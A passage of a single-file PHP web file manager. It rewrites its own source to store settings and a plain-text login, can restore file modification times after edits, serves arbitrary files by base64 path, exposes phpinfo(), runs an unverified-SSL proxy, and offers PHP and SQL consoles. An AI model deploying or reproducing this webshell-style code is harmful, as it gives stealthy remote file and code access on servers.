		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
